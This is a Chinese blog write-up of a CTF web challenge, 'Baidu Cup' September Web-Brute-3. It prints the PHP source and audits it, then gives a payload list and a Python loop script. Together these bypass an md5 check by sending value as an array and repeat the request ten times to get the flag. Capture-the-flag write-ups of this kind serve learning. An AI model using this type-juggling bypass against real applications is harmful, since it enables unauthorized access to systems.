“百度杯” CTF比赛 九月场 Web-爆破-3

访问题目链接,获得源码

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
	$_SESSION['nums'] = 0;
	$_SESSION['time'] = time();
	$_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
	session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
	$_SESSION['nums']++;
	$_SESSION['whoami'] = $str_rands;
	echo $str_rands;
}

if($_SESSION['nums']>=10){
	echo $flag;
}

show_source(__FILE__);
?>

代码审计

  • session_start();:启动session会话,session是以数组文本形式存储在服务器端的会话,不接受客户端修改,相对于cookie较安全。启动后一般可以在系统临时文件夹sess_PHPSESSID找到session文件,该位置可通过php.ini文件下session.save_path属性进行查询和设置。一般文件名形如sess_4c83638b3b0dbf65583181c2f89168ec,后面问32位编码的随机字符串,抓包后查看请求头PHPSESSID可知。

  • if(!isset($_SESSION['nums'])){}:创建名为nums的变量,创建成功后执行if内语句:变量nums=0; time=time(); whoami=ea;

  • if($_SESSION['time']+120<time()){}:如果启动session的时间+120秒小于目前时间,销毁会话。简而言之,创建的会话有效期为2分钟。也可通过session_set_cookie_params()设置session的生存期,该函数需要在session_start()调用之前调用。如未设置session生存周期,则在客户端关闭浏览器时自动注销。

  • $value = $_REQUEST['value'];:获取value的值赋值给value,通过get,post,cookie均可获取。

  • $str_rand = range('a', 'z');:创建一个包含a-z的数组变量$str_rand

  • $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];:从$str_rand数组中随机选择两个字符组成字符串赋值给$str_rands

  • if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){}

  • if($_SESSION['nums']>=10){}:如果session数组中变量nums>=10,则可输出flag

解题思路

  1. session变量nums>=10时即可输出flag,且nums每通过一次if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){}判断即可加1。

  2. 变量value可控制,等于随机字符串whoami即可,第一次为’ea’,之后whoami的随机值都会返回。且md5(数组)=0,可通过使value为数组绕过。

  3. 需要在两分钟内重复以上过程10次以上即可拿到flag。

方法

1. 手工循环

两分钟内重复10次一般网速都可以达到,payload如下(post提交):

value[]=ea
value[]=py
value[]=pp
value[]=ga
value[]=yl
value[]=wr
value[]=bc
value[]=zf
value[]=db
value[]=ry

即可过得flag。

2. python脚本循环

本人python渣渣,附上脚本:

import requests
url = "http://d105df0bf53543faa484f07eee12fc6724021af7cff34d58.changame.ichunqiu.com/?value[]="
url2 = url + 'ea'
s = requests.session()
for i in range(11):
	r = s.get(url2)
	url2 = url+r.content[0:2]
	if 'flag{' in r.content:
    	print(r.content)

================================================================

小白成长记,大佬请指点。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值